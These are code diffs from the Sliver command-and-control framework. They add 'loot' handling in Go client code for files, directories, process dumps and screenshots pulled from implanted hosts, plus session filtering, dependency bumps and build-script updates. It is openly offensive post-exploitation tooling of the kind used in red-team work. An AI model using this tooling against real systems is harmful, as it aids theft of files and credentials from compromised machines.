con.PrintErrorf("%s\n", download.Response.Err)
|
||||
return
|
||||
}
|
||||
|
||||
/* Construct everything needed to send the loot to the server
|
||||
If this is a directory, we will process each file individually
|
||||
*/
|
||||
|
||||
// Let's handle the simple case of a file first
|
||||
if !download.IsDir {
|
||||
// filepath.Base does not deal with backslashes correctly in Windows paths, so we have to standardize the path to forward slashes
|
||||
downloadPath := strings.ReplaceAll(download.Path, "\\", "/")
|
||||
lootMessage := CreateLootMessage(filepath.Base(downloadPath), lootName, lootType, fileType, download.Data)
|
||||
SendLootMessage(lootMessage, con)
|
||||
} else {
|
||||
// We have to decompress the gzip file first
|
||||
decompressedDownload, err := gzip.NewReader(bytes.NewReader(download.Data))
|
||||
|
||||
if err != nil {
|
||||
con.PrintErrorf("Could not decompress downloaded data: %s", err)
|
||||
return
|
||||
}
|
||||
|
||||
/*
|
||||
Directories are stored as tar-ed gzip archives.
|
||||
We have gotten rid of the gzip part, now we have to sort out the tar
|
||||
*/
|
||||
tarReader := tar.NewReader(decompressedDownload)
|
||||
|
||||
// Keep reading until we reach the end
|
||||
for {
|
||||
entryHeader, err := tarReader.Next()
|
||||
if err == io.EOF {
|
||||
// We have reached the end of the tar archive
|
||||
break
|
||||
}
|
||||
|
||||
if err != nil {
|
||||
// Something is wrong with this archive. Stop reading.
|
||||
break
|
||||
}
|
||||
|
||||
if entryHeader == nil {
|
||||
/*
|
||||
If the entry is nil, skip it (not sure when this would happen,
|
||||
but we do not want to attempt operations on something that is nil)
|
||||
*/
|
||||
continue
|
||||
}
|
||||
|
||||
if entryHeader.Typeflag == tar.TypeDir {
|
||||
// Keep going to dig into the directory
|
||||
continue
|
||||
}
|
||||
// The implant should have only shipped us files (the implant resolves symlinks)
|
||||
|
||||
// Create a loot message for this file and ship it
|
||||
/* Using io.ReadAll because it reads until EOF. We have already read the header, so the next EOF should
|
||||
be the end of the file
|
||||
*/
|
||||
fileData, err := io.ReadAll(tarReader)
|
||||
if err == nil {
|
||||
lootMessage := CreateLootMessage(filepath.Base(entryHeader.Name), lootName, lootType, fileType, fileData)
|
||||
SendLootMessage(lootMessage, con)
|
||||
}
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
// LootAddRemoteCmd - Add a file from the remote system to the server as loot
|
||||
func LootAddRemoteCmd(ctx *grumble.Context, con *console.SliverConsoleClient) {
|
||||
session := con.ActiveTarget.GetSessionInteractive()
|
||||
@@ -38,77 +233,22 @@ func LootAddRemoteCmd(ctx *grumble.Context, con *console.SliverConsoleClient) {
|
||||
return
|
||||
}
|
||||
remotePath := ctx.Args.String("path")
|
||||
fileName := filepath.Base(remotePath)
|
||||
name := ctx.Flags.String("name")
|
||||
if name == "" {
|
||||
name = path.Base(remotePath)
|
||||
}
|
||||
|
||||
var lootType clientpb.LootType
|
||||
var err error
|
||||
lootTypeStr := ctx.Flags.String("type")
|
||||
if lootTypeStr != "" {
|
||||
lootType, err = lootTypeFromHumanStr(lootTypeStr)
|
||||
if err == ErrInvalidLootType {
|
||||
con.PrintErrorf("Invalid loot type %s", lootTypeStr)
|
||||
return
|
||||
}
|
||||
} else {
|
||||
lootType = clientpb.LootType_LOOT_FILE
|
||||
}
|
||||
|
||||
ctrl := make(chan bool)
|
||||
con.SpinUntil(fmt.Sprintf("Looting remote file %s", remotePath), ctrl)
|
||||
|
||||
download, err := con.Rpc.Download(context.Background(), &sliverpb.DownloadReq{
|
||||
Request: con.ActiveTarget.Request(ctx),
|
||||
Path: remotePath,
|
||||
})
|
||||
if err != nil {
|
||||
ctrl <- true
|
||||
<-ctrl
|
||||
if err != nil {
|
||||
con.PrintErrorf("%s\n", err) // Download failed
|
||||
return
|
||||
}
|
||||
}
|
||||
|
||||
if download.Encoder == "gzip" {
|
||||
download.Data, err = new(encoders.Gzip).Decode(download.Data)
|
||||
if err != nil {
|
||||
con.PrintErrorf("Decoding failed %s", err)
|
||||
return
|
||||
}
|
||||
}
|
||||
|
||||
// Determine type based on download buffer
|
||||
lootFileType, err := lootFileTypeFromHumanStr(ctx.Flags.String("file-type"))
|
||||
if lootFileType == -1 || err != nil {
|
||||
if isText(download.Data) {
|
||||
lootFileType = clientpb.FileType_TEXT
|
||||
} else {
|
||||
lootFileType = clientpb.FileType_BINARY
|
||||
}
|
||||
}
|
||||
loot := &clientpb.Loot{
|
||||
Name: name,
|
||||
Type: lootType,
|
||||
FileType: lootFileType,
|
||||
File: &commonpb.File{
|
||||
Name: path.Base(remotePath),
|
||||
Data: download.Data,
|
||||
},
|
||||
}
|
||||
if lootType == clientpb.LootType_LOOT_CREDENTIAL {
|
||||
loot.CredentialType = clientpb.CredentialType_FILE
|
||||
}
|
||||
|
||||
loot, err = con.Rpc.LootAdd(context.Background(), loot)
|
||||
ctrl <- true
|
||||
<-ctrl
|
||||
lootType, err := ValidateLootType(ctx.Flags.String("type"))
|
||||
if err != nil {
|
||||
con.PrintErrorf("%s\n", err)
|
||||
return
|
||||
}
|
||||
|
||||
con.PrintInfof("Successfully added loot to server (%s)\n", loot.LootID)
|
||||
download, err := PerformDownload(remotePath, fileName, ctx, con)
|
||||
if err != nil {
|
||||
con.PrintErrorf("%s\n", err)
|
||||
return
|
||||
}
|
||||
|
||||
// Determine type based on download buffer
|
||||
lootFileType := ValidateLootFileType(ctx.Flags.String("file-type"), download.Data)
|
||||
LootDownload(download, name, lootType, lootFileType, ctx, con)
|
||||
}
|
||||
@@ -24,7 +24,9 @@ import (
|
||||
"io/ioutil"
|
||||
"os"
|
||||
"path/filepath"
|
||||
"time"
|
||||
|
||||
"github.com/bishopfox/sliver/client/command/loot"
|
||||
"github.com/bishopfox/sliver/client/console"
|
||||
"github.com/bishopfox/sliver/protobuf/clientpb"
|
||||
"github.com/bishopfox/sliver/protobuf/sliverpb"
|
||||
@@ -42,6 +44,8 @@ func ProcdumpCmd(ctx *grumble.Context, con *console.SliverConsoleClient) {
|
||||
pid := ctx.Flags.Int("pid")
|
||||
name := ctx.Flags.String("name")
|
||||
saveTo := ctx.Flags.String("save")
|
||||
saveLoot := ctx.Flags.Bool("loot")
|
||||
lootName := ctx.Flags.String("loot-name")
|
||||
|
||||
if pid == -1 && name != "" {
|
||||
pid = GetPIDByName(ctx, name, con)
|
||||
@@ -78,11 +82,23 @@ func ProcdumpCmd(ctx *grumble.Context, con *console.SliverConsoleClient) {
|
||||
con.PrintErrorf("Failed to decode response %s\n", err)
|
||||
return
|
||||
}
|
||||
PrintProcessDump(dump, saveTo, hostname, pid, con)
|
||||
if saveLoot {
|
||||
LootProcessDump(dump, lootName, hostname, pid, con)
|
||||
}
|
||||
|
||||
if !saveLoot || saveTo != "" {
|
||||
PrintProcessDump(dump, saveTo, hostname, pid, con)
|
||||
}
|
||||
})
|
||||
con.PrintAsyncResponse(dump.Response)
|
||||
} else {
|
||||
PrintProcessDump(dump, saveTo, hostname, pid, con)
|
||||
if saveLoot {
|
||||
LootProcessDump(dump, lootName, hostname, pid, con)
|
||||
}
|
||||
|
||||
if !saveLoot || saveTo != "" {
|
||||
PrintProcessDump(dump, saveTo, hostname, pid, con)
|
||||
}
|
||||
}
|
||||
|
||||
}
|
||||
@@ -99,7 +115,7 @@ func PrintProcessDump(dump *sliverpb.ProcessDump, saveTo string, hostname string
|
||||
return
|
||||
}
|
||||
} else {
|
||||
saveToFile, err = os.OpenFile(saveTo, os.O_WRONLY, 0o600)
|
||||
saveToFile, err = os.OpenFile(saveTo, os.O_WRONLY|os.O_CREATE, 0o600)
|
||||
if err != nil {
|
||||
con.PrintErrorf("Error creating file: %s\n", err)
|
||||
return
|
||||
@@ -119,3 +135,15 @@ func getHostname(session *clientpb.Session, beacon *clientpb.Beacon) string {
|
||||
}
|
||||
return ""
|
||||
}
|
||||
|
||||
func LootProcessDump(dump *sliverpb.ProcessDump, lootName string, hostName string, pid int, con *console.SliverConsoleClient) {
|
||||
timeNow := time.Now().UTC()
|
||||
dumpFileName := fmt.Sprintf("procdump_%s_%d_%s.dmp", hostName, pid, timeNow.Format("20060102150405"))
|
||||
|
||||
if lootName == "" {
|
||||
lootName = dumpFileName
|
||||
}
|
||||
|
||||
lootMessage := loot.CreateLootMessage(dumpFileName, lootName, clientpb.LootType_LOOT_FILE, clientpb.FileType_BINARY, dump.GetData())
|
||||
loot.SendLootMessage(lootMessage, con)
|
||||
}
|
||||
@@ -57,6 +57,10 @@ func ScreenshotCmd(ctx *grumble.Context, con *console.SliverConsoleClient) {
|
||||
return
|
||||
}
|
||||
|
||||
saveLoot := ctx.Flags.Bool("loot")
|
||||
lootName := ctx.Flags.String("name")
|
||||
saveTo := ctx.Flags.String("save")
|
||||
|
||||
hostname := getHostname(session, beacon)
|
||||
if screenshot.Response != nil && screenshot.Response.Async {
|
||||
con.AddBeaconCallback(screenshot.Response.TaskID, func(task *clientpb.BeaconTask) {
|
||||
@@ -65,11 +69,31 @@ func ScreenshotCmd(ctx *grumble.Context, con *console.SliverConsoleClient) {
|
||||
con.PrintErrorf("Failed to decode response %s\n", err)
|
||||
return
|
||||
}
|
||||
PrintScreenshot(screenshot, hostname, ctx, con)
|
||||
if saveLoot {
|
||||
if len(screenshot.Data) > 0 {
|
||||
LootScreenshot(screenshot, lootName, hostname, con)
|
||||
} else {
|
||||
con.PrintErrorf("Cannot loot screenshot because it contained no data")
|
||||
}
|
||||
}
|
||||
|
||||
if !saveLoot || saveTo != "" {
|
||||
PrintScreenshot(screenshot, hostname, ctx, con)
|
||||
}
|
||||
})
|
||||
con.PrintAsyncResponse(screenshot.Response)
|
||||
} else {
|
||||
PrintScreenshot(screenshot, hostname, ctx, con)
|
||||
if saveLoot {
|
||||
if len(screenshot.Data) > 0 {
|
||||
LootScreenshot(screenshot, lootName, hostname, con)
|
||||
} else {
|
||||
con.PrintErrorf("Cannot loot screenshot because it contained no data")
|
||||
}
|
||||
}
|
||||
|
||||
if !saveLoot || saveTo != "" {
|
||||
PrintScreenshot(screenshot, hostname, ctx, con)
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
@@ -88,7 +112,7 @@ func PrintScreenshot(screenshot *sliverpb.Screenshot, hostname string, ctx *grum
|
||||
return
|
||||
}
|
||||
} else {
|
||||
saveToFile, err = os.OpenFile(saveTo, os.O_WRONLY, 600)
|
||||
saveToFile, err = os.OpenFile(saveTo, os.O_WRONLY|os.O_CREATE, 0600)
|
||||
if err != nil {
|
||||
con.PrintErrorf("Error creating file: %s\n", err)
|
||||
return
|
||||
@@ -103,14 +127,18 @@ func PrintScreenshot(screenshot *sliverpb.Screenshot, hostname string, ctx *grum
|
||||
}
|
||||
|
||||
con.PrintInfof("Screenshot written to %s (%s)\n", saveToFile.Name(), util.ByteCountBinary(int64(n)))
|
||||
if ctx.Flags.Bool("loot") && 0 < len(screenshot.Data) {
|
||||
err = loot.AddLootFile(con.Rpc, fmt.Sprintf("[screenshot] %s", timestamp), saveToFile.Name(), screenshot.Data, false)
|
||||
if err != nil {
|
||||
con.PrintErrorf("Failed to save output as loot: %s\n", err)
|
||||
} else {
|
||||
con.PrintInfof("Output saved as loot\n")
|
||||
}
|
||||
}
|
||||
|
||||
func LootScreenshot(screenshot *sliverpb.Screenshot, lootName string, hostName string, con *console.SliverConsoleClient) {
|
||||
timeNow := time.Now().UTC()
|
||||
screenshotFileName := fmt.Sprintf("screenshot_%s_%s.png", hostName, timeNow.Format("20060102150405"))
|
||||
|
||||
if lootName == "" {
|
||||
lootName = screenshotFileName
|
||||
}
|
||||
|
||||
lootMessage := loot.CreateLootMessage(screenshotFileName, lootName, clientpb.LootType_LOOT_FILE, clientpb.FileType_BINARY, screenshot.GetData())
|
||||
loot.SendLootMessage(lootMessage, con)
|
||||
}
|
||||
|
||||
func getOS(session *clientpb.Session, beacon *clientpb.Beacon) string {
|
||||
|
||||
@@ -21,6 +21,7 @@ package sessions
|
||||
import (
|
||||
"context"
|
||||
"fmt"
|
||||
"regexp"
|
||||
"strings"
|
||||
"time"
|
||||
|
||||
@@ -97,12 +98,23 @@ func SessionsCmd(ctx *grumble.Context, con *console.SliverConsoleClient) {
|
||||
con.PrintErrorf("Invalid session name or session number: %s\n", interact)
|
||||
}
|
||||
} else {
|
||||
filter := ctx.Flags.String("filter")
|
||||
var filterRegex *regexp.Regexp
|
||||
if ctx.Flags.String("filter-re") != "" {
|
||||
var err error
|
||||
filterRegex, err = regexp.Compile(ctx.Flags.String("filter-re"))
|
||||
if err != nil {
|
||||
con.PrintErrorf("%s\n", err)
|
||||
return
|
||||
}
|
||||
}
|
||||
|
||||
sessionsMap := map[string]*clientpb.Session{}
|
||||
for _, session := range sessions.GetSessions() {
|
||||
sessionsMap[session.ID] = session
|
||||
}
|
||||
if 0 < len(sessionsMap) {
|
||||
PrintSessions(sessionsMap, con)
|
||||
PrintSessions(sessionsMap, filter, filterRegex, con)
|
||||
} else {
|
||||
con.PrintInfof("No sessions 🙁\n")
|
||||
}
|
||||
@@ -110,7 +122,7 @@ func SessionsCmd(ctx *grumble.Context, con *console.SliverConsoleClient) {
|
||||
}
|
||||
|
||||
// PrintSessions - Print the current sessions
|
||||
func PrintSessions(sessions map[string]*clientpb.Session, con *console.SliverConsoleClient) {
|
||||
func PrintSessions(sessions map[string]*clientpb.Session, filter string, filterRegex *regexp.Regexp, con *console.SliverConsoleClient) {
|
||||
width, _, err := term.GetSize(0)
|
||||
if err != nil {
|
||||
width = 999
|
||||
@@ -128,7 +140,7 @@ func PrintSessions(sessions map[string]*clientpb.Session, con *console.SliverCon
|
||||
"Hostname",
|
||||
"Username",
|
||||
"Operating System",
|
||||
"Last Check-in",
|
||||
"Last Message",
|
||||
"Health",
|
||||
})
|
||||
} else {
|
||||
@@ -164,8 +176,9 @@ func PrintSessions(sessions map[string]*clientpb.Session, con *console.SliverCon
|
||||
}
|
||||
username := strings.TrimPrefix(session.Username, session.Hostname+"\\") // For non-AD Windows users
|
||||
|
||||
var rowEntries []string
|
||||
if con.Settings.SmallTermWidth < width {
|
||||
tw.AppendRow(table.Row{
|
||||
rowEntries = []string{
|
||||
fmt.Sprintf(color+"%s"+console.Normal, ShortSessionID(session.ID)),
|
||||
fmt.Sprintf(color+"%s"+console.Normal, session.Name),
|
||||
fmt.Sprintf(color+"%s"+console.Normal, session.Transport),
|
||||
@@ -175,9 +188,9 @@ func PrintSessions(sessions map[string]*clientpb.Session, con *console.SliverCon
|
||||
fmt.Sprintf(color+"%s/%s"+console.Normal, session.OS, session.Arch),
|
||||
fmt.Sprintf(color+"%s"+console.Normal, time.Unix(session.LastCheckin, 0).Format(time.RFC1123)),
|
||||
burned + SessionHealth,
|
||||
})
|
||||
}
|
||||
} else {
|
||||
tw.AppendRow(table.Row{
|
||||
rowEntries = []string{
|
||||
fmt.Sprintf(color+"%s"+console.Normal, ShortSessionID(session.ID)),
|
||||
fmt.Sprintf(color+"%s"+console.Normal, session.Transport),
|
||||
fmt.Sprintf(color+"%s"+console.Normal, session.RemoteAddress),
|
||||
@@ -185,7 +198,31 @@ func PrintSessions(sessions map[string]*clientpb.Session, con *console.SliverCon
|
||||
fmt.Sprintf(color+"%s"+console.Normal, username),
|
||||
fmt.Sprintf(color+"%s/%s"+console.Normal, session.OS, session.Arch),
|
||||
burned + SessionHealth,
|
||||
})
|
||||
}
|
||||
}
|
||||
// Build the row struct
|
||||
row := table.Row{}
|
||||
for _, entry := range rowEntries {
|
||||
row = append(row, entry)
|
||||
}
|
||||
// Apply filters if any
|
||||
if filter == "" && filterRegex == nil {
|
||||
tw.AppendRow(row)
|
||||
} else {
|
||||
for _, rowEntry := range rowEntries {
|
||||
if filter != "" {
|
||||
if strings.Contains(rowEntry, filter) {
|
||||
tw.AppendRow(row)
|
||||
break
|
||||
}
|
||||
}
|
||||
if filterRegex != nil {
|
||||
if filterRegex.MatchString(rowEntry) {
|
||||
tw.AppendRow(row)
|
||||
break
|
||||
}
|
||||
}
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
|
||||
@@ -233,7 +233,7 @@ func renderTaskResponse(task *clientpb.BeaconTask, con *console.SliverConsoleCli
|
||||
"loot": &grumble.FlagMapItem{Value: false, IsDefault: true},
|
||||
},
|
||||
}
|
||||
exec.PrintExecuteAssembly(execAssembly, hostname, assemblyPath, ctx, con)
|
||||
exec.HandleExecuteAssemblyResponse(execAssembly, assemblyPath, hostname, ctx, con)
|
||||
|
||||
// execute-shellcode
|
||||
case sliverpb.MsgTaskReq:
|
||||
@@ -289,9 +289,10 @@ func renderTaskResponse(task *clientpb.BeaconTask, con *console.SliverConsoleCli
|
||||
Command: &grumble.Command{Name: "sideload"},
|
||||
Flags: grumble.FlagMap{
|
||||
"save": &grumble.FlagMapItem{Value: false},
|
||||
"loot": &grumble.FlagMapItem{Value: false},
|
||||
},
|
||||
}
|
||||
exec.PrintSideload(sideload, hostname, ctx, con)
|
||||
exec.HandleSideloadResponse(sideload, "", hostname, ctx, con)
|
||||
|
||||
case sliverpb.MsgSpawnDllReq:
|
||||
spawnDll := &sliverpb.SpawnDll{}
|
||||
@@ -309,9 +310,10 @@ func renderTaskResponse(task *clientpb.BeaconTask, con *console.SliverConsoleCli
|
||||
Command: &grumble.Command{Name: "spawndll"},
|
||||
Flags: grumble.FlagMap{
|
||||
"save": &grumble.FlagMapItem{Value: false},
|
||||
"loot": &grumble.FlagMapItem{Value: false},
|
||||
},
|
||||
}
|
||||
exec.PrintSpawnDll(spawnDll, hostname, ctx, con)
|
||||
exec.HandleSpawnDLLResponse(spawnDll, "", hostname, ctx, con)
|
||||
|
||||
case sliverpb.MsgSSHCommandReq:
|
||||
sshCommand := &sliverpb.SSHCommand{}
|
||||
|
||||
+1
-1
@@ -232,7 +232,7 @@ GEM
|
||||
jekyll-seo-tag (~> 2.1)
|
||||
minitest (5.15.0)
|
||||
multipart-post (2.1.1)
|
||||
nokogiri (1.13.3)
|
||||
nokogiri (1.13.6)
|
||||
mini_portile2 (~> 2.8.0)
|
||||
racc (~> 1.4)
|
||||
octokit (4.22.0)
|
||||
|
||||
+22
-6
@@ -20,7 +20,7 @@ set -e
|
||||
|
||||
# Creates the static go asset archives
|
||||
|
||||
GO_VER="1.18"
|
||||
GO_VER="1.18.2"
|
||||
GARBLE_VER="1.18.0"
|
||||
|
||||
GO_ARCH_1="amd64"
|
||||
@@ -102,9 +102,9 @@ cp -vv darwin-go.zip $OUTPUT_DIR/darwin/$GO_ARCH_2/go.zip
|
||||
rm -rf ./go
|
||||
rm -f darwin-go.zip go$GO_VER.darwin-$GO_ARCH_2.tar.gz
|
||||
|
||||
# --- Linux ---
|
||||
curl --output go$GO_VER.linux-amd64.tar.gz https://dl.google.com/go/go$GO_VER.linux-$GO_ARCH_1.tar.gz
|
||||
tar xvf go$GO_VER.linux-amd64.tar.gz
|
||||
# --- Linux (amd64) ---
|
||||
curl --output go$GO_VER.linux-$GO_ARCH_1.tar.gz https://dl.google.com/go/go$GO_VER.linux-$GO_ARCH_1.tar.gz
|
||||
tar xvf go$GO_VER.linux-$GO_ARCH_1.tar.gz
|
||||
cd go
|
||||
rm -rf $BLOAT_FILES
|
||||
rm -rf ./src
|
||||
@@ -118,6 +118,22 @@ cp -vv linux-go.zip $OUTPUT_DIR/linux/$GO_ARCH_1/go.zip
|
||||
rm -rf ./go
|
||||
rm -f linux-go.zip go$GO_VER.linux-$GO_ARCH_1.tar.gz
|
||||
|
||||
# --- Linux (arm64) ---
|
||||
curl --output go$GO_VER.linux-$GO_ARCH_2.tar.gz https://dl.google.com/go/go$GO_VER.linux-$GO_ARCH_2.tar.gz
|
||||
tar xvf go$GO_VER.linux-$GO_ARCH_2.tar.gz
|
||||
cd go
|
||||
rm -rf $BLOAT_FILES
|
||||
rm -rf ./src
|
||||
rm -f ./pkg/tool/linux_$GO_ARCH_2/doc
|
||||
rm -f ./pkg/tool/linux_$GO_ARCH_2/tour
|
||||
rm -f ./pkg/tool/linux_$GO_ARCH_2/test2json
|
||||
cd ..
|
||||
zip -r linux-go.zip ./go
|
||||
mkdir -p $OUTPUT_DIR/linux/$GO_ARCH_2
|
||||
cp -vv linux-go.zip $OUTPUT_DIR/linux/$GO_ARCH_2/go.zip
|
||||
rm -rf ./go
|
||||
rm -f linux-go.zip go$GO_VER.linux-$GO_ARCH_2.tar.gz
|
||||
|
||||
# --- Windows ---
|
||||
curl --output go$GO_VER.windows-amd64.zip https://dl.google.com/go/go$GO_VER.windows-$GO_ARCH_1.zip
|
||||
unzip go$GO_VER.windows-amd64.zip
|
||||
@@ -140,8 +156,8 @@ echo "-----------------------------------------------------------------"
|
||||
|
||||
echo "curl -L --fail --output $OUTPUT_DIR/linux/$GO_ARCH_1/garble https://github.com/moloch--/garble/releases/download/v$GARBLE_VER/garble_linux"
|
||||
curl -L --fail --output $OUTPUT_DIR/linux/$GO_ARCH_1/garble https://github.com/moloch--/garble/releases/download/v$GARBLE_VER/garble_linux
|
||||
file $OUTPUT_DIR/linux/$GO_ARCH_1/garble
|
||||
|
||||
echo "curl -L --fail --output $OUTPUT_DIR/linux/$GO_ARCH_2/garble https://github.com/moloch--/garble/releases/download/v$GARBLE_VER/garble_linux"
|
||||
curl -L --fail --output $OUTPUT_DIR/linux/$GO_ARCH_2/garble https://github.com/moloch--/garble/releases/download/v$GARBLE_VER/garble_linux
|
||||
echo "curl -L --fail --output $OUTPUT_DIR/windows/$GO_ARCH_1/garble.exe https://github.com/moloch--/garble/releases/download/v$GARBLE_VER/garble_windows.exe"
|
||||
curl -L --fail --output $OUTPUT_DIR/windows/$GO_ARCH_1/garble.exe https://github.com/moloch--/garble/releases/download/v$GARBLE_VER/garble_windows.exe
|
||||
echo "curl -L --fail --output $OUTPUT_DIR/darwin/$GO_ARCH_1/garble https://github.com/moloch--/garble/releases/download/v$GARBLE_VER/garble_macos-$GO_ARCH_1"
|
||||
|
||||
@@ -10,63 +10,51 @@ require (
|
||||
github.com/Binject/debug v0.0.0-20210312092933-6277045c2fdf
|
||||
github.com/Binject/go-donut v0.0.0-20210701074227-67a31e2d883e
|
||||
github.com/Binject/universal v0.0.0-20210304094126-daefaa886313
|
||||
github.com/BurntSushi/xgb v0.0.0-20201008132610-5f9e7b3c49cd // indirect
|
||||
github.com/Microsoft/go-winio v0.5.1 // indirect
|
||||
github.com/alecthomas/chroma v0.8.1
|
||||
github.com/cheggaaa/pb/v3 v3.0.5
|
||||
github.com/desertbit/columnize v2.1.0+incompatible
|
||||
github.com/desertbit/go-shlex v0.1.1
|
||||
github.com/desertbit/grumble v1.1.1
|
||||
github.com/fatih/color v1.12.0
|
||||
github.com/gen2brain/shm v0.0.0-20200228170931-49f9650110c5 // indirect
|
||||
github.com/gofrs/uuid v3.3.0+incompatible
|
||||
github.com/golang/protobuf v1.5.2 // indirect
|
||||
github.com/google/uuid v1.3.0
|
||||
github.com/gorilla/mux v1.8.0
|
||||
github.com/grpc-ecosystem/go-grpc-middleware v1.2.2
|
||||
github.com/hashicorp/go-multierror v1.1.1 // indirect
|
||||
github.com/jedib0t/go-pretty/v6 v6.2.4
|
||||
github.com/kbinani/screenshot v0.0.0-20191211154542-3a185f1ce18f
|
||||
github.com/lesnuages/go-winio v0.4.19
|
||||
github.com/lesnuages/snitch v0.6.0
|
||||
github.com/lxn/win v0.0.0-20210218163916-a377121e959e // indirect
|
||||
github.com/mattn/go-isatty v0.0.13 // indirect
|
||||
github.com/mattn/go-sqlite3 v1.14.12
|
||||
github.com/miekg/dns v1.1.35
|
||||
github.com/niemeyer/pretty v0.0.0-20200227124842-a10e7caefd8e // indirect
|
||||
github.com/moloch--/memmod v0.0.0-20211120144554-8b37cc654945
|
||||
github.com/pquerna/otp v1.3.0
|
||||
github.com/sergi/go-diff v1.1.0 // indirect
|
||||
github.com/shirou/gopsutil/v3 v3.21.10
|
||||
github.com/sirupsen/logrus v1.8.1
|
||||
github.com/spf13/cobra v1.1.1
|
||||
github.com/stretchr/testify v1.7.0
|
||||
github.com/things-go/go-socks5 v0.0.3-0.20210722055343-24af464efe43
|
||||
golang.org/x/crypto v0.0.0-20220315160706-3147a52a75dd
|
||||
golang.org/x/net v0.0.0-20220225172249-27dd8689420f
|
||||
golang.org/x/sys v0.0.0-20220315194320-039c03cc5b86
|
||||
golang.org/x/term v0.0.0-20210927222741-03fcf44c2211
|
||||
golang.org/x/text v0.3.7
|
||||
golang.zx2c4.com/wireguard v0.0.0-20220316235147-5aff28b14c24
|
||||
google.golang.org/genproto v0.0.0-20210722135532-667f2b7c528f // indirect
|
||||
golang.zx2c4.com/wireguard/wgctrl v0.0.0-20220208144051-fde48d68ee68
|
||||
google.golang.org/grpc v1.42.0-dev.0.20211020220737-f00baa6c3c84
|
||||
google.golang.org/protobuf v1.27.1
|
||||
gopkg.in/AlecAivazis/survey.v1 v1.8.8
|
||||
gopkg.in/check.v1 v1.0.0-20200902074654-038fdea0a05b // indirect
|
||||
gorm.io/driver/mysql v1.0.3
|
||||
gorm.io/driver/postgres v1.0.5
|
||||
gorm.io/driver/sqlite v1.1.3
|
||||
gorm.io/gorm v1.21.14
|
||||
)
|
||||
|
||||
require (
|
||||
github.com/moloch--/memmod v0.0.0-20211120144554-8b37cc654945
|
||||
github.com/shirou/gopsutil/v3 v3.21.10
|
||||
github.com/things-go/go-socks5 v0.0.3-0.20210722055343-24af464efe43
|
||||
golang.org/x/term v0.0.0-20210927222741-03fcf44c2211
|
||||
golang.zx2c4.com/wireguard/wgctrl v0.0.0-20220208144051-fde48d68ee68
|
||||
gvisor.dev/gvisor v0.0.0-20211020211948-f76a604701b6
|
||||
modernc.org/sqlite v1.16.0
|
||||
)
|
||||
|
||||
require (
|
||||
github.com/Binject/shellcode v0.0.0-20191101084904-a8a90e7d4563 // indirect
|
||||
github.com/BurntSushi/xgb v0.0.0-20201008132610-5f9e7b3c49cd // indirect
|
||||
github.com/Microsoft/go-winio v0.5.1 // indirect
|
||||
github.com/StackExchange/wmi v1.2.1 // indirect
|
||||
github.com/VirusTotal/vt-go v0.0.0-20210528074736-45bbe34cc8ab // indirect
|
||||
github.com/VividCortex/ewma v1.1.1 // indirect
|
||||
@@ -79,10 +67,13 @@ require (
|
||||
github.com/desertbit/closer/v3 v3.1.2 // indirect
|
||||
github.com/desertbit/readline v1.5.1 // indirect
|
||||
github.com/dlclark/regexp2 v1.2.0 // indirect
|
||||
github.com/gen2brain/shm v0.0.0-20200228170931-49f9650110c5 // indirect
|
||||
github.com/go-ole/go-ole v1.2.6 // indirect
|
||||
github.com/go-sql-driver/mysql v1.5.0 // indirect
|
||||
github.com/golang/protobuf v1.5.2 // indirect
|
||||
github.com/google/btree v1.0.1 // indirect
|
||||
github.com/hashicorp/errwrap v1.1.0 // indirect
|
||||
github.com/hashicorp/go-multierror v1.1.1 // indirect
|
||||
github.com/inconshreveable/mousetrap v1.0.0 // indirect
|
||||
github.com/jackc/chunkreader/v2 v2.0.1 // indirect
|
||||
github.com/jackc/pgconn v1.7.0 // indirect
|
||||
@@ -96,11 +87,15 @@ require (
|
||||
github.com/jinzhu/now v1.1.2 // indirect
|
||||
github.com/kballard/go-shellquote v0.0.0-20180428030007-95032a82bc51 // indirect
|
||||
github.com/lufia/plan9stats v0.0.0-20211012122336-39d0f177ccd0 // indirect
|
||||
github.com/lxn/win v0.0.0-20210218163916-a377121e959e // indirect
|
||||
github.com/mattn/go-colorable v0.1.8 // indirect
|
||||
github.com/mattn/go-isatty v0.0.13 // indirect
|
||||
github.com/mattn/go-runewidth v0.0.9 // indirect
|
||||
github.com/mgutz/ansi v0.0.0-20170206155736-9520e82c474b // indirect
|
||||
github.com/niemeyer/pretty v0.0.0-20200227124842-a10e7caefd8e // indirect
|
||||
github.com/pmezard/go-difflib v1.0.0 // indirect
|
||||
github.com/remyoudompheng/bigfft v0.0.0-20200410134404-eec4a21b6bb0 // indirect
|
||||
github.com/sergi/go-diff v1.1.0 // indirect
|
||||
github.com/spf13/pflag v1.0.5 // indirect
|
||||
github.com/thedevsaddam/gojsonq/v2 v2.5.2 // indirect
|
||||
golang.org/x/mod v0.5.1 // indirect
|
||||
@@ -108,8 +103,10 @@ require (
|
||||
golang.org/x/tools v0.1.9 // indirect
|
||||
golang.org/x/xerrors v0.0.0-20200804184101-5ec99f83aff1 // indirect
|
||||
golang.zx2c4.com/wintun v0.0.0-20211104114900-415007cec224 // indirect
|
||||
google.golang.org/genproto v0.0.0-20210722135532-667f2b7c528f // indirect
|
||||
google.golang.org/grpc/examples v0.0.0-20210910232509-03268c8ed29e // indirect
|
||||
gopkg.in/yaml.v3 v3.0.0-20200313102051-9f266ea9e77c // indirect
|
||||
gopkg.in/check.v1 v1.0.0-20200902074654-038fdea0a05b // indirect
|
||||
gopkg.in/yaml.v3 v3.0.0 // indirect
|
||||
lukechampine.com/uint128 v1.1.1 // indirect
|
||||
modernc.org/cc/v3 v3.35.24 // indirect
|
||||
modernc.org/ccgo/v3 v3.15.18 // indirect
|
||||
|
||||
@@ -614,8 +614,6 @@ github.com/mattn/go-runewidth v0.0.9 h1:Lm995f3rfxdpd6TSmuVCHVb/QhupuXlYr8sCI/Qd
|
||||
github.com/mattn/go-runewidth v0.0.9/go.mod h1:H031xJmbD/WCDINGzjvQ9THkh0rPKHF+m2gUSrubnMI=
|
||||
github.com/mattn/go-shellwords v1.0.3/go.mod h1:3xCvwCdWdlDJUrvuMn7Wuy9eWs4pE8vqg+NOMyg4B2o=
|
||||
github.com/mattn/go-sqlite3 v1.14.3/go.mod h1:WVKg1VTActs4Qso6iwGbiFih2UIHo0ENGwNd0Lj+XmI=
|
||||
github.com/mattn/go-sqlite3 v1.14.9 h1:10HX2Td0ocZpYEjhilsuo6WWtUqttj2Kb0KtD86/KYA=
|
||||
